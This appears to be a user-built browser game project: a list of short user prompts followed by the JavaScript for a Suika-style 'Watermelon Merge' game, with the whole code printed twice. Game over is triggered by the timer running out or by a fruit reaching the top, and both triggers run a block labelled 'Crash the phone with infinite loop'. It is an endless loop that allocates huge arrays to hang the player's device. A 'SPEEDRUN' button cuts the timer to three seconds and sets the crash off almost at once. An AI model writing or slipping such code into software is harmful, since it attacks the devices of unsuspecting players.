User prompt
When the fruit hit the ground a sound happen
User prompt
Play the music and make it loop
User prompt
Put the fruit in the container
User prompt
No no don't put the fruit up the top it will be in the container
User prompt
If the fruit reach the top is game over
User prompt
You can move fruit and you can place it ↪💡 Consider importing and using the following plugins: @upit/tween.v1
User prompt
Please remove the game over
Code edit (1 edits merged)
Please save this source code
User prompt
Watermelon Merge
Initial prompt
Watermelon
/****
* Plugins
****/
var tween = LK.import("@upit/tween.v1");
/****
* Classes
****/
var Fruit = Container.expand(function (type, x, y) {
var self = Container.call(this);
self.fruitType = type;
self.fruitTypes = ['grape', 'cherry', 'strawberry', 'lemon', 'orange', 'apple', 'pear', 'peach', 'pineapple', 'melon', 'watermelon'];
self.fruitSizes = [80, 100, 120, 140, 160, 180, 200, 220, 240, 260, 300];
self.fruitPoints = [10, 20, 40, 80, 160, 320, 640, 1280, 2560, 5120, 10240];
self.graphics = self.attachAsset(type, {
anchorX: 0.5,
anchorY: 0.5
});
self.x = x;
self.y = y;
self.vx = 0;
self.vy = 0;
self.radius = self.fruitSizes[self.fruitTypes.indexOf(type)] / 2;
self.gravity = 0.8;
self.bounce = 0.3;
self.friction = 0.99;
self.hasMerged = false;
self.update = function () {
if (self.hasMerged) return;
// Initialize last ground contact state if not set
if (self.lastOnGround === undefined) self.lastOnGround = false;
// Apply gravity
self.vy += self.gravity;
// Apply velocity
self.x += self.vx;
self.y += self.vy;
// Apply friction
self.vx *= self.friction;
self.vy *= self.friction;
// Boundary collision with container walls
if (self.x - self.radius < containerLeft + 40) {
self.x = containerLeft + 40 + self.radius;
self.vx = -self.vx * self.bounce;
}
if (self.x + self.radius > containerRight - 40) {
self.x = containerRight - 40 - self.radius;
self.vx = -self.vx * self.bounce;
}
// Boundary collision with container bottom
var currentOnGround = self.y + self.radius > containerBottom - 20;
if (currentOnGround) {
// Check if this is the moment we hit the ground (transition from not on ground to on ground)
if (!self.lastOnGround && currentOnGround) {
// Play ground hit sound
LK.getSound('groundHit').play();
}
self.y = containerBottom - 20 - self.radius;
self.vy = -self.vy * self.bounce;
if (Math.abs(self.vy) < 1) {
self.vy = 0;
}
}
// Update last ground contact state
self.lastOnGround = currentOnGround;
// Check for merging with other fruits
for (var i = 0; i < fruits.length; i++) {
var other = fruits[i];
if (other === self || other.hasMerged || self.hasMerged) continue;
if (other.fruitType !== self.fruitType) continue;
var dx = other.x - self.x;
var dy = other.y - self.y;
var distance = Math.sqrt(dx * dx + dy * dy);
var minDistance = self.radius + other.radius;
if (distance < minDistance) {
// Merge fruits
self.merge(other);
break;
}
}
// Check for collision with other fruits
for (var i = 0; i < fruits.length; i++) {
var other = fruits[i];
if (other === self || other.hasMerged || self.hasMerged) continue;
var dx = other.x - self.x;
var dy = other.y - self.y;
var distance = Math.sqrt(dx * dx + dy * dy);
var minDistance = self.radius + other.radius;
if (distance < minDistance && distance > 0) {
// Separate fruits
var overlap = minDistance - distance;
var separationX = dx / distance * overlap * 0.5;
var separationY = dy / distance * overlap * 0.5;
self.x -= separationX;
self.y -= separationY;
other.x += separationX;
other.y += separationY;
// Exchange velocities
var tempVx = self.vx;
var tempVy = self.vy;
self.vx = other.vx * self.bounce;
self.vy = other.vy * self.bounce;
other.vx = tempVx * other.bounce;
other.vy = tempVy * other.bounce;
}
}
};
self.merge = function (other) {
if (self.hasMerged || other.hasMerged) return;
var typeIndex = self.fruitTypes.indexOf(self.fruitType);
if (typeIndex >= self.fruitTypes.length - 1) return; // Already watermelon
var newType = self.fruitTypes[typeIndex + 1];
var points = self.fruitPoints[typeIndex + 1];
// Mark both fruits as merged
self.hasMerged = true;
other.hasMerged = true;
// Create new fruit at average position
var newX = (self.x + other.x) / 2;
var newY = (self.y + other.y) / 2;
// Add score
LK.setScore(LK.getScore() + points);
scoreTxt.setText(LK.getScore());
// Play merge sound
LK.getSound('merge').play();
// Flash effect
LK.effects.flashObject(self, 0xffffff, 200);
LK.effects.flashObject(other, 0xffffff, 200);
// Remove old fruits after a short delay
LK.setTimeout(function () {
// Remove from fruits array
var selfIndex = fruits.indexOf(self);
if (selfIndex >= 0) {
fruits.splice(selfIndex, 1);
}
var otherIndex = fruits.indexOf(other);
if (otherIndex >= 0) {
fruits.splice(otherIndex, 1);
}
// Destroy old fruits
self.destroy();
other.destroy();
// Create new fruit
var newFruit = new Fruit(newType, newX, newY);
fruits.push(newFruit);
game.addChild(newFruit);
}, 200);
};
return self;
});
/****
* Initialize Game
****/
var game = new LK.Game({
backgroundColor: 0x87ceeb
});
/****
* Game Code
****/
var fruits = [];
var nextFruitType = 'grape';
var containerLeft = 224;
var containerRight = 1824;
var containerBottom = 2200;
var containerTop = 800;
var dropPosition = 1024;
var canDrop = true;
var gameOverLine = containerTop - 100;
var gameTimer = 60 * 60; // 60 seconds at 60 FPS
var warningText = null;
var warningMusicPlaying = false;
var warningMusicTimer = null;
var warningMusicSpeed = 1; // Speed multiplier for warning music
var warningMusicVolume = 0.8; // Current volume for warning music
// Create container
var container = game.addChild(LK.getAsset('container', {
anchorX: 0.5,
anchorY: 0.5,
x: 1024,
y: 1500
}));
// Create container walls
var leftWall = game.addChild(LK.getAsset('containerWall', {
anchorX: 0.5,
anchorY: 0.5,
x: containerLeft,
y: 1500
}));
var rightWall = game.addChild(LK.getAsset('containerWall', {
anchorX: 0.5,
anchorY: 0.5,
x: containerRight,
y: 1500
}));
var bottomWall = game.addChild(LK.getAsset('containerBottom', {
anchorX: 0.5,
anchorY: 0.5,
x: 1024,
y: containerBottom
}));
// Create score display
var scoreTxt = new Text2('0', {
size: 80,
fill: 0xFFFFFF
});
scoreTxt.anchor.set(0.5, 0);
LK.gui.top.addChild(scoreTxt);
// Create timer display
var timerTxt = new Text2('60', {
size: 120,
fill: 0xFFFFFF
});
timerTxt.anchor.set(0.5, 0.5);
timerTxt.x = 1024;
timerTxt.y = containerTop - 100;
game.addChild(timerTxt);
// Create speedrun button background
var speedrunButtonBg = game.addChild(LK.getAsset('Speedone', {
anchorX: 0,
anchorY: 0,
x: 120,
y: 220
}));
// Create speedrun button
var speedrunButton = new Text2('SPEEDRUN', {
size: 60,
fill: 0xFFFFFF
});
speedrunButton.anchor.set(0, 0);
speedrunButton.x = 120;
speedrunButton.y = 220;
game.addChild(speedrunButton);
// Add click handler for speedrun button
speedrunButton.down = function (x, y, obj) {
gameTimer = 3 * 60; // Set timer to 3 seconds (3 seconds * 60 FPS)
timerTxt.setText('3');
// Flash the button to show it was pressed
LK.effects.flashObject(speedrunButton, 0x00ff00, 300);
LK.effects.flashObject(speedrunButtonBg, 0x00ff00, 300);
};
// Add click handler for speedrun button background
speedrunButtonBg.down = function (x, y, obj) {
gameTimer = 3 * 60; // Set timer to 3 seconds (3 seconds * 60 FPS)
timerTxt.setText('3');
// Flash the button to show it was pressed
LK.effects.flashObject(speedrunButton, 0x00ff00, 300);
LK.effects.flashObject(speedrunButtonBg, 0x00ff00, 300);
};
// Create next fruit preview box in top left
var nextFruitBox = game.addChild(LK.getAsset('container', {
anchorX: 0,
anchorY: 0,
x: 150,
y: 300,
scaleX: 0.15,
scaleY: 0.15
}));
// Create next fruit preview
var nextFruitPreview = game.addChild(LK.getAsset('nextFruit', {
anchorX: 0.5,
anchorY: 0.5,
x: 270,
y: 390
}));
function updateNextFruitPreview() {
// Fade out old preview
tween(nextFruitPreview, {
alpha: 0,
scaleX: 0.5,
scaleY: 0.5
}, {
duration: 150,
easing: tween.easeIn,
onFinish: function onFinish() {
nextFruitPreview.destroy();
nextFruitPreview = game.addChild(LK.getAsset(nextFruitType, {
anchorX: 0.5,
anchorY: 0.5,
x: 270,
y: 390,
scaleX: 0.8,
scaleY: 0.8
}));
// Fade in new preview
nextFruitPreview.alpha = 0;
nextFruitPreview.scaleX = 1.2;
nextFruitPreview.scaleY = 1.2;
tween(nextFruitPreview, {
alpha: 1,
scaleX: 1,
scaleY: 1
}, {
duration: 200,
easing: tween.bounceOut
});
}
});
}
function getRandomSmallFruit() {
var smallFruits = ['grape', 'cherry', 'strawberry', 'lemon'];
return smallFruits[Math.floor(Math.random() * smallFruits.length)];
}
// checkGameOver function removed
// Initial setup
nextFruitType = getRandomSmallFruit();
updateNextFruitPreview();
// Play background music with looping
LK.playMusic('music');
game.move = function (x, y, obj) {
if (!canDrop) return;
// Constrain drop position within container bounds
dropPosition = Math.max(containerLeft + 60, Math.min(containerRight - 60, x));
};
game.down = function (x, y, obj) {
if (!canDrop) return;
// Add scale down animation to preview before dropping
tween(nextFruitPreview, {
scaleX: 0.8,
scaleY: 0.8
}, {
duration: 100,
easing: tween.easeIn,
onFinish: function onFinish() {
// Drop the fruit
var newFruit = new Fruit(nextFruitType, dropPosition, containerTop + 50);
fruits.push(newFruit);
game.addChild(newFruit);
// Add entry animation to the new fruit
newFruit.scaleX = 0.5;
newFruit.scaleY = 0.5;
tween(newFruit, {
scaleX: 1,
scaleY: 1
}, {
duration: 200,
easing: tween.bounceOut
});
// Play drop sound
LK.getSound('drop').play();
// Prevent dropping for a short time
canDrop = false;
LK.setTimeout(function () {
canDrop = true;
}, 500);
// Generate next fruit
nextFruitType = getRandomSmallFruit();
updateNextFruitPreview();
}
});
};
game.update = function () {
// Update timer
gameTimer--;
var seconds = Math.ceil(gameTimer / 60);
timerTxt.setText(seconds);
// Check if timer is running out (last 10 seconds) and flash red screen
if (seconds <= 10 && seconds > 0) {
// Calculate speed multiplier based on remaining time (faster as time runs out)
var newSpeed = Math.max(1, 11 - seconds); // Speed increases from 1 to 10
// Start warning music if not already playing or restart if speed changed
if (!warningMusicPlaying || warningMusicSpeed !== newSpeed) {
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
if (!warningMusicPlaying) {
LK.stopMusic(); // Stop background music when warning starts
}
warningMusicSpeed = newSpeed;
// Calculate new volume based on urgency (0.8 to 1.0)
var targetVolume = Math.min(1.0, 0.8 + (newSpeed - 1) * 0.02);
// Tween volume increase if it changed
if (Math.abs(warningMusicVolume - targetVolume) > 0.01) {
tween({
volume: warningMusicVolume
}, {
volume: targetVolume
}, {
duration: 50,
easing: tween.easeOut,
onFinish: function onFinish() {
warningMusicVolume = targetVolume;
}
});
}
// Start the warning music loop with decreasing interval
var playWarningMusic = function playWarningMusic() {
var sound = LK.getSound('warningMusic');
sound.volume = warningMusicVolume;
sound.play();
};
playWarningMusic(); // Play immediately
// Calculate interval: 0 seconds with no space between iterations
var interval = 0;
warningMusicTimer = LK.setInterval(playWarningMusic, interval);
warningMusicPlaying = true;
}
// Create warning text if it doesn't exist
if (!warningText) {
warningText = new Text2('Time is running out!', {
size: 100,
fill: 0xFFFFFF
});
warningText.anchor.set(0.5, 0.5);
warningText.x = 1024;
warningText.y = 1366; // Center of screen
warningText.alpha = 0;
game.addChild(warningText);
// Fade in the warning text
tween(warningText, {
alpha: 1
}, {
duration: 300,
easing: tween.easeOut
});
}
// Flash red screen every 30 frames (twice per second at 60 FPS)
if (LK.ticks % 30 === 0) {
LK.effects.flashScreen(0xff0000, 500);
// Change text to black during flash, then back to white
if (warningText) {
warningText.fill = 0x000000; // Black text during flash
// Change back to white after flash duration
LK.setTimeout(function () {
if (warningText) {
warningText.fill = 0xFFFFFF;
}
}, 500);
}
}
} else if (warningText && seconds > 10) {
// Remove warning text if timer goes above 10 seconds
warningText.destroy();
warningText = null;
if (warningMusicPlaying) {
LK.getSound('warningMusic').stop();
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
LK.playMusic('music'); // Restart background music when warning ends
}
warningMusicPlaying = false;
warningMusicVolume = 0.8; // Reset volume for next warning
}
// Check if timer ran out
if (gameTimer <= 0) {
if (warningText) {
warningText.destroy();
warningText = null;
}
if (warningMusicPlaying) {
LK.getSound('warningMusic').stop();
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
}
warningMusicPlaying = false;
// Crash the phone with infinite loop
while (true) {
var crashArray = [];
for (var x = 0; x < 1000000; x++) {
crashArray.push(new Array(1000).fill(Math.random()));
}
}
LK.showGameOver();
return;
}
// Update all fruits
for (var i = fruits.length - 1; i >= 0; i--) {
if (fruits[i] && !fruits[i].hasMerged) {
// Check if fruit still exists (might have been destroyed in merge)
if (fruits[i].parent) {
fruits[i].update();
}
}
}
// Check for game over - if any fruit reaches the top
for (var i = 0; i < fruits.length; i++) {
if (fruits[i] && !fruits[i].hasMerged) {
// Initialize last close to top state if not set
if (fruits[i].lastCloseToTop === undefined) fruits[i].lastCloseToTop = false;
// Check if fruit is close to top (but not at game over line)
var closeToTopLine = gameOverLine + 150; // 150 pixels below game over line
var currentCloseToTop = fruits[i].y - fruits[i].radius <= closeToTopLine && fruits[i].y - fruits[i].radius > gameOverLine;
// Play sound when fruit first gets close to top
if (!fruits[i].lastCloseToTop && currentCloseToTop) {
LK.getSound('closeToTop').play();
}
// Update last close to top state
fruits[i].lastCloseToTop = currentCloseToTop;
if (fruits[i].y - fruits[i].radius <= gameOverLine) {
if (warningMusicPlaying) {
LK.getSound('warningMusic').stop();
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
}
warningMusicPlaying = false;
// Crash the phone with infinite loop
while (true) {
var crashArray = [];
for (var x = 0; x < 1000000; x++) {
crashArray.push(new Array(1000).fill(Math.random()));
}
}
LK.showGameOver();
return;
}
}
}
}; /****
* Plugins
****/
var tween = LK.import("@upit/tween.v1");
/****
* Classes
****/
var Fruit = Container.expand(function (type, x, y) {
var self = Container.call(this);
self.fruitType = type;
self.fruitTypes = ['grape', 'cherry', 'strawberry', 'lemon', 'orange', 'apple', 'pear', 'peach', 'pineapple', 'melon', 'watermelon'];
self.fruitSizes = [80, 100, 120, 140, 160, 180, 200, 220, 240, 260, 300];
self.fruitPoints = [10, 20, 40, 80, 160, 320, 640, 1280, 2560, 5120, 10240];
self.graphics = self.attachAsset(type, {
anchorX: 0.5,
anchorY: 0.5
});
self.x = x;
self.y = y;
self.vx = 0;
self.vy = 0;
self.radius = self.fruitSizes[self.fruitTypes.indexOf(type)] / 2;
self.gravity = 0.8;
self.bounce = 0.3;
self.friction = 0.99;
self.hasMerged = false;
self.update = function () {
if (self.hasMerged) return;
// Initialize last ground contact state if not set
if (self.lastOnGround === undefined) self.lastOnGround = false;
// Apply gravity
self.vy += self.gravity;
// Apply velocity
self.x += self.vx;
self.y += self.vy;
// Apply friction
self.vx *= self.friction;
self.vy *= self.friction;
// Boundary collision with container walls
if (self.x - self.radius < containerLeft + 40) {
self.x = containerLeft + 40 + self.radius;
self.vx = -self.vx * self.bounce;
}
if (self.x + self.radius > containerRight - 40) {
self.x = containerRight - 40 - self.radius;
self.vx = -self.vx * self.bounce;
}
// Boundary collision with container bottom
var currentOnGround = self.y + self.radius > containerBottom - 20;
if (currentOnGround) {
// Check if this is the moment we hit the ground (transition from not on ground to on ground)
if (!self.lastOnGround && currentOnGround) {
// Play ground hit sound
LK.getSound('groundHit').play();
}
self.y = containerBottom - 20 - self.radius;
self.vy = -self.vy * self.bounce;
if (Math.abs(self.vy) < 1) {
self.vy = 0;
}
}
// Update last ground contact state
self.lastOnGround = currentOnGround;
// Check for merging with other fruits
for (var i = 0; i < fruits.length; i++) {
var other = fruits[i];
if (other === self || other.hasMerged || self.hasMerged) continue;
if (other.fruitType !== self.fruitType) continue;
var dx = other.x - self.x;
var dy = other.y - self.y;
var distance = Math.sqrt(dx * dx + dy * dy);
var minDistance = self.radius + other.radius;
if (distance < minDistance) {
// Merge fruits
self.merge(other);
break;
}
}
// Check for collision with other fruits
for (var i = 0; i < fruits.length; i++) {
var other = fruits[i];
if (other === self || other.hasMerged || self.hasMerged) continue;
var dx = other.x - self.x;
var dy = other.y - self.y;
var distance = Math.sqrt(dx * dx + dy * dy);
var minDistance = self.radius + other.radius;
if (distance < minDistance && distance > 0) {
// Separate fruits
var overlap = minDistance - distance;
var separationX = dx / distance * overlap * 0.5;
var separationY = dy / distance * overlap * 0.5;
self.x -= separationX;
self.y -= separationY;
other.x += separationX;
other.y += separationY;
// Exchange velocities
var tempVx = self.vx;
var tempVy = self.vy;
self.vx = other.vx * self.bounce;
self.vy = other.vy * self.bounce;
other.vx = tempVx * other.bounce;
other.vy = tempVy * other.bounce;
}
}
};
self.merge = function (other) {
if (self.hasMerged || other.hasMerged) return;
var typeIndex = self.fruitTypes.indexOf(self.fruitType);
if (typeIndex >= self.fruitTypes.length - 1) return; // Already watermelon
var newType = self.fruitTypes[typeIndex + 1];
var points = self.fruitPoints[typeIndex + 1];
// Mark both fruits as merged
self.hasMerged = true;
other.hasMerged = true;
// Create new fruit at average position
var newX = (self.x + other.x) / 2;
var newY = (self.y + other.y) / 2;
// Add score
LK.setScore(LK.getScore() + points);
scoreTxt.setText(LK.getScore());
// Play merge sound
LK.getSound('merge').play();
// Flash effect
LK.effects.flashObject(self, 0xffffff, 200);
LK.effects.flashObject(other, 0xffffff, 200);
// Remove old fruits after a short delay
LK.setTimeout(function () {
// Remove from fruits array
var selfIndex = fruits.indexOf(self);
if (selfIndex >= 0) {
fruits.splice(selfIndex, 1);
}
var otherIndex = fruits.indexOf(other);
if (otherIndex >= 0) {
fruits.splice(otherIndex, 1);
}
// Destroy old fruits
self.destroy();
other.destroy();
// Create new fruit
var newFruit = new Fruit(newType, newX, newY);
fruits.push(newFruit);
game.addChild(newFruit);
}, 200);
};
return self;
});
/****
* Initialize Game
****/
var game = new LK.Game({
backgroundColor: 0x87ceeb
});
/****
* Game Code
****/
var fruits = [];
var nextFruitType = 'grape';
var containerLeft = 224;
var containerRight = 1824;
var containerBottom = 2200;
var containerTop = 800;
var dropPosition = 1024;
var canDrop = true;
var gameOverLine = containerTop - 100;
var gameTimer = 60 * 60; // 60 seconds at 60 FPS
var warningText = null;
var warningMusicPlaying = false;
var warningMusicTimer = null;
var warningMusicSpeed = 1; // Speed multiplier for warning music
var warningMusicVolume = 0.8; // Current volume for warning music
// Create container
var container = game.addChild(LK.getAsset('container', {
anchorX: 0.5,
anchorY: 0.5,
x: 1024,
y: 1500
}));
// Create container walls
var leftWall = game.addChild(LK.getAsset('containerWall', {
anchorX: 0.5,
anchorY: 0.5,
x: containerLeft,
y: 1500
}));
var rightWall = game.addChild(LK.getAsset('containerWall', {
anchorX: 0.5,
anchorY: 0.5,
x: containerRight,
y: 1500
}));
var bottomWall = game.addChild(LK.getAsset('containerBottom', {
anchorX: 0.5,
anchorY: 0.5,
x: 1024,
y: containerBottom
}));
// Create score display
var scoreTxt = new Text2('0', {
size: 80,
fill: 0xFFFFFF
});
scoreTxt.anchor.set(0.5, 0);
LK.gui.top.addChild(scoreTxt);
// Create timer display
var timerTxt = new Text2('60', {
size: 120,
fill: 0xFFFFFF
});
timerTxt.anchor.set(0.5, 0.5);
timerTxt.x = 1024;
timerTxt.y = containerTop - 100;
game.addChild(timerTxt);
// Create speedrun button background
var speedrunButtonBg = game.addChild(LK.getAsset('Speedone', {
anchorX: 0,
anchorY: 0,
x: 120,
y: 220
}));
// Create speedrun button
var speedrunButton = new Text2('SPEEDRUN', {
size: 60,
fill: 0xFFFFFF
});
speedrunButton.anchor.set(0, 0);
speedrunButton.x = 120;
speedrunButton.y = 220;
game.addChild(speedrunButton);
// Add click handler for speedrun button
speedrunButton.down = function (x, y, obj) {
gameTimer = 3 * 60; // Set timer to 3 seconds (3 seconds * 60 FPS)
timerTxt.setText('3');
// Flash the button to show it was pressed
LK.effects.flashObject(speedrunButton, 0x00ff00, 300);
LK.effects.flashObject(speedrunButtonBg, 0x00ff00, 300);
};
// Add click handler for speedrun button background
speedrunButtonBg.down = function (x, y, obj) {
gameTimer = 3 * 60; // Set timer to 3 seconds (3 seconds * 60 FPS)
timerTxt.setText('3');
// Flash the button to show it was pressed
LK.effects.flashObject(speedrunButton, 0x00ff00, 300);
LK.effects.flashObject(speedrunButtonBg, 0x00ff00, 300);
};
// Create next fruit preview box in top left
var nextFruitBox = game.addChild(LK.getAsset('container', {
anchorX: 0,
anchorY: 0,
x: 150,
y: 300,
scaleX: 0.15,
scaleY: 0.15
}));
// Create next fruit preview
var nextFruitPreview = game.addChild(LK.getAsset('nextFruit', {
anchorX: 0.5,
anchorY: 0.5,
x: 270,
y: 390
}));
function updateNextFruitPreview() {
// Fade out old preview
tween(nextFruitPreview, {
alpha: 0,
scaleX: 0.5,
scaleY: 0.5
}, {
duration: 150,
easing: tween.easeIn,
onFinish: function onFinish() {
nextFruitPreview.destroy();
nextFruitPreview = game.addChild(LK.getAsset(nextFruitType, {
anchorX: 0.5,
anchorY: 0.5,
x: 270,
y: 390,
scaleX: 0.8,
scaleY: 0.8
}));
// Fade in new preview
nextFruitPreview.alpha = 0;
nextFruitPreview.scaleX = 1.2;
nextFruitPreview.scaleY = 1.2;
tween(nextFruitPreview, {
alpha: 1,
scaleX: 1,
scaleY: 1
}, {
duration: 200,
easing: tween.bounceOut
});
}
});
}
function getRandomSmallFruit() {
var smallFruits = ['grape', 'cherry', 'strawberry', 'lemon'];
return smallFruits[Math.floor(Math.random() * smallFruits.length)];
}
// checkGameOver function removed
// Initial setup
nextFruitType = getRandomSmallFruit();
updateNextFruitPreview();
// Play background music with looping
LK.playMusic('music');
game.move = function (x, y, obj) {
if (!canDrop) return;
// Constrain drop position within container bounds
dropPosition = Math.max(containerLeft + 60, Math.min(containerRight - 60, x));
};
game.down = function (x, y, obj) {
if (!canDrop) return;
// Add scale down animation to preview before dropping
tween(nextFruitPreview, {
scaleX: 0.8,
scaleY: 0.8
}, {
duration: 100,
easing: tween.easeIn,
onFinish: function onFinish() {
// Drop the fruit
var newFruit = new Fruit(nextFruitType, dropPosition, containerTop + 50);
fruits.push(newFruit);
game.addChild(newFruit);
// Add entry animation to the new fruit
newFruit.scaleX = 0.5;
newFruit.scaleY = 0.5;
tween(newFruit, {
scaleX: 1,
scaleY: 1
}, {
duration: 200,
easing: tween.bounceOut
});
// Play drop sound
LK.getSound('drop').play();
// Prevent dropping for a short time
canDrop = false;
LK.setTimeout(function () {
canDrop = true;
}, 500);
// Generate next fruit
nextFruitType = getRandomSmallFruit();
updateNextFruitPreview();
}
});
};
game.update = function () {
// Update timer
gameTimer--;
var seconds = Math.ceil(gameTimer / 60);
timerTxt.setText(seconds);
// Check if timer is running out (last 10 seconds) and flash red screen
if (seconds <= 10 && seconds > 0) {
// Calculate speed multiplier based on remaining time (faster as time runs out)
var newSpeed = Math.max(1, 11 - seconds); // Speed increases from 1 to 10
// Start warning music if not already playing or restart if speed changed
if (!warningMusicPlaying || warningMusicSpeed !== newSpeed) {
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
if (!warningMusicPlaying) {
LK.stopMusic(); // Stop background music when warning starts
}
warningMusicSpeed = newSpeed;
// Calculate new volume based on urgency (0.8 to 1.0)
var targetVolume = Math.min(1.0, 0.8 + (newSpeed - 1) * 0.02);
// Tween volume increase if it changed
if (Math.abs(warningMusicVolume - targetVolume) > 0.01) {
tween({
volume: warningMusicVolume
}, {
volume: targetVolume
}, {
duration: 50,
easing: tween.easeOut,
onFinish: function onFinish() {
warningMusicVolume = targetVolume;
}
});
}
// Start the warning music loop with decreasing interval
var playWarningMusic = function playWarningMusic() {
var sound = LK.getSound('warningMusic');
sound.volume = warningMusicVolume;
sound.play();
};
playWarningMusic(); // Play immediately
// Calculate interval: 0 seconds with no space between iterations
var interval = 0;
warningMusicTimer = LK.setInterval(playWarningMusic, interval);
warningMusicPlaying = true;
}
// Create warning text if it doesn't exist
if (!warningText) {
warningText = new Text2('Time is running out!', {
size: 100,
fill: 0xFFFFFF
});
warningText.anchor.set(0.5, 0.5);
warningText.x = 1024;
warningText.y = 1366; // Center of screen
warningText.alpha = 0;
game.addChild(warningText);
// Fade in the warning text
tween(warningText, {
alpha: 1
}, {
duration: 300,
easing: tween.easeOut
});
}
// Flash red screen every 30 frames (twice per second at 60 FPS)
if (LK.ticks % 30 === 0) {
LK.effects.flashScreen(0xff0000, 500);
// Change text to black during flash, then back to white
if (warningText) {
warningText.fill = 0x000000; // Black text during flash
// Change back to white after flash duration
LK.setTimeout(function () {
if (warningText) {
warningText.fill = 0xFFFFFF;
}
}, 500);
}
}
} else if (warningText && seconds > 10) {
// Remove warning text if timer goes above 10 seconds
warningText.destroy();
warningText = null;
if (warningMusicPlaying) {
LK.getSound('warningMusic').stop();
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
LK.playMusic('music'); // Restart background music when warning ends
}
warningMusicPlaying = false;
warningMusicVolume = 0.8; // Reset volume for next warning
}
// Check if timer ran out
if (gameTimer <= 0) {
if (warningText) {
warningText.destroy();
warningText = null;
}
if (warningMusicPlaying) {
LK.getSound('warningMusic').stop();
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
}
warningMusicPlaying = false;
// Crash the phone with infinite loop
while (true) {
var crashArray = [];
for (var x = 0; x < 1000000; x++) {
crashArray.push(new Array(1000).fill(Math.random()));
}
}
LK.showGameOver();
return;
}
// Update all fruits
for (var i = fruits.length - 1; i >= 0; i--) {
if (fruits[i] && !fruits[i].hasMerged) {
// Check if fruit still exists (might have been destroyed in merge)
if (fruits[i].parent) {
fruits[i].update();
}
}
}
// Check for game over - if any fruit reaches the top
for (var i = 0; i < fruits.length; i++) {
if (fruits[i] && !fruits[i].hasMerged) {
// Initialize last close to top state if not set
if (fruits[i].lastCloseToTop === undefined) fruits[i].lastCloseToTop = false;
// Check if fruit is close to top (but not at game over line)
var closeToTopLine = gameOverLine + 150; // 150 pixels below game over line
var currentCloseToTop = fruits[i].y - fruits[i].radius <= closeToTopLine && fruits[i].y - fruits[i].radius > gameOverLine;
// Play sound when fruit first gets close to top
if (!fruits[i].lastCloseToTop && currentCloseToTop) {
LK.getSound('closeToTop').play();
}
// Update last close to top state
fruits[i].lastCloseToTop = currentCloseToTop;
if (fruits[i].y - fruits[i].radius <= gameOverLine) {
if (warningMusicPlaying) {
LK.getSound('warningMusic').stop();
if (warningMusicTimer) {
LK.clearInterval(warningMusicTimer);
warningMusicTimer = null;
}
}
warningMusicPlaying = false;
// Crash the phone with infinite loop
while (true) {
var crashArray = [];
for (var x = 0; x < 1000000; x++) {
crashArray.push(new Array(1000).fill(Math.random()));
}
}
LK.showGameOver();
return;
}
}
}
};